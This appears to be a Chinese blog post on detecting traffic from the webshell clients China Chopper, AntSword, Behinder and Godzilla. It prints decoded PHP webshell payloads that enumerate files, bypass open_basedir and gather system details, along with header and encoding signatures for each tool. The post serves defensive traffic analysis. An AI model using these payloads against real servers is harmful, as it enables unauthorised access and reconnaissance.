首页 > 系统相关 >常见webeshell工具流量分析

常见webeshell工具流量分析

时间:2023-04-10 18:36:05浏览次数:55  
标签:常见 请求 base64 流量 set ini errors webeshell tmdir

中国菜刀

虚拟机使用仅主机模式,开启apache服务,使用wireshark对此网卡进行抓包

 

 追踪http数据流

 

 base64解码得出

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
};
echo("X@Y");
$D = 'ÕýÔÚÔØÈë»ù±¾ÐÅÏ¢...\\';
$F = @opendir($D);
if ($F == NULL) {
    echo("ERROR:// Path Not Found Or No Permission!");
} else {
    $M = NULL;
    $L = NULL;
    while ($N = @readdir($F)) {
        $P = $D . '/' . $N;
        $T = @date("Y-m-d H:i:s", @filemtime($P));
        @$E = substr(base_convert(@fileperms($P), 10, 8), -4);
        $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
        if (@is_dir($P)) $M .= $N . "/" . $R; else $L .= $N . $R;
    }
    echo $M . $L;
    @closedir($F);
};
echo("X@Y");
die();

发现请求包执行了 base64_decode 函数对 z1 进行 base64 后,经过 eval 函数执行命令,base64 解密 z1指向的路径,响应包中给出上传到www目录下

菜刀工具流量特征:

1,请求体中存在assert eval,base64等特征字符
2,请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQo、@ini_set

另一种说法:

连接过程中使用base64编码对发送的指令进行加密,其中两个关键payload z1 和 z2,名字都是可变的。

然后还有一段以QG开头,7J结尾的固定代码。

 

蚁剑

开启蚁剑自带的代理进行抓包 

 

 

 

 进行url解码

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.e21aab";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9c98"."94e91";echo @asenc($output);echo "73fd3"."27906";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

 

查看其代码发现有多个危险函数使用,如@ini_set(“display_errors”,“0”)、dirname、get_current_user等,如果再文中发现其他编码的明显特征,要进行二次解码。

查看请求头是否有明显的标识符,通过URL解码来查看报文中是否存在危险函数或者有@ini_set(“display_errors”,“0”)。

流量特征:

1、默认的 user-agent 请求头是 antsword xxx(可修改)

2、蚁剑的正文内容用URL加密,解密后流量最中明显的特征为ini_set("display_errors","0");

冰蝎

冰蝎2.0

  • 2.0中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
  • Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2
  • 建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;

冰蝎3.0

  • 在使用命令执行功能时,请求包中content-length 为5740或5720(可能会根据Java版本而改变)
  • 每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache
  • Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

哥斯拉

1.jsp代码中可能会具有getclass,getclassLoader等关键字,payload使用base64编码等特征。php和asp则是普通的一句话木马。

2.在响应包的cache-control字段中有no-store,no-cache等特征。

3.所有请求中的cookie字段最后面都存在;特征。

 

 

参考链接:https://blog.hsm.cool/index.php/archives/792/

 

 

标签:常见,请求,base64,流量,set,ini,errors,webeshell,tmdir
From: https://www.cnblogs.com/mu-yi2/p/17302222.html

相关文章

  • 常见的Dos命令
    打开CMD的方式1.开始->系统->命令提示符2.Win键+R输入cmd打开控制台3.任意文件夹下,按住shift键+鼠标右键点击,在此处打开命令行窗口4.资源管理器的地址栏前面加上cmd路径管理员方式运行:选择以管理员方式运行常见的Dos命令#盘符切换#直接输入D:#查看当前目录下的苏哟......
  • Python常见面试题016. 请实现如下功能|谈谈你对闭包的理解
    016.请实现如下功能|谈谈你对闭包的理解摘自<流畅的python>第七章函数装饰器和闭包实现一个函数(可以不是函数)avg,计算不断增加的系列值的平均值,效果如下defavg(...):passavg(10)=>返回10avg(20)=>返回10+20的平均值15avg(30)=>返回10+20+30的平均值20......
  • 与& 或| 异或^ 的三个常见用途
    与&或|异或^的三个常见用途1.与&作为掩码(bitmask)屏蔽比特串的一部片/提取比特串的一部分a=0b11010101#Binaryb=0b00000111#Bitmaskc=a&b#c=0b00000101#b作为掩码和a进行与操作后,保留了a的后三位,其余位全设为0被屏蔽了2.或|设1(set)a=0b11010101#......
  • SQL基础操作_3_数据字典(涵盖SQL Server、Oracle、Mysql常见系统数据字典)
    目录数据库元数据查询7.5.1列出模式中所有的表7.5.2列出所有的数据库7.5.3列出给定表的基本信息7.5.4列出给定表的索引信息7.5.5列出给定表的主键、外键约束7.5.6列出给定表的外键引用7.5.7列出给定表的检查约束7.5.8列出给定表的默认约束7.5.9列出给定表的所有约束7.5.10......
  • 常见问题问答
    1.Promise底层原理promise是一种用于处理异步操作的javascript对象,底层原理基于回调函数、事件监听和状态机等技术。在promise对象创建时,会初始化一个状态,通常有三种状态:pending(进行中)、fulfilled(已完成)和rejected(已拒绝)。当使用promise封装的异步操作成功完成时,promise状态将......
  • centos6.5安装流量监控工具iftop【杭州多测师】【杭州多测师_王sir】
    一、概述iftop可以用来监控网卡的实时流量(可以指定网段)、反向解析IP、显示端口信息等,详细的将会在后面的使用参数中说明。官方网站:http://www.ex-parrot.com/~pdw/iftop/二、依赖包安装yum install -y gcc flex byacc libpcap ncurses ncurses-devel libpcap-devel tcpdu......
  • 【MySQL】MySQL基础05 — SQL学习 — DQL — 常见函数 — 分组函数(转载请注明出处)
    SQL学习—DQL—常见函数—分组函数4.常见函数(附加)/*概念:类似于java的方法,将一组逻辑语句封装在方法体中,对外暴露方法名。好处:1.隐藏了实现细节2.提高代码的重用性调用语法:select函数名(实参列表)【from表】;特点: 1.叫什么(函数名) 2.干什么(函数功能)分类: 1.单......
  • Python 进阶指南(编程轻松进阶):八、常见的 Python 陷阱
    原文:http://inventwithpython.com/beyond/chapter8.html虽然Python是我最喜欢的编程语言,但它也不是没有缺陷。每种语言都有缺点(有些比其他的多),Python也不例外。新的Python程序员必须学会避免一些常见的“陷阱”程序员学习这类知识是随机的,来自经验,但本章把它收集在一个地......
  • 常见的OOM异常
    Java.lang.StackOverFlowError虚拟机栈溢出java.lang.OutOfMemoryError:javaheapspace堆区内存溢出java.lang.OutOfMemoryError:GCoverheadlimitexceeded大量资源都用于GC回收了,每次GC后也清理不了多少空间,反复如此,就抛出此错误java.lang.OutOfMemoryErro......
  • 0-MySQL常见错误代码及代码说明
    先转载一下优秀作者的文章,后期会逐渐完善! 作者:理想三旬出处:https://www.cnblogs.com/operationhome/p/9095522.html......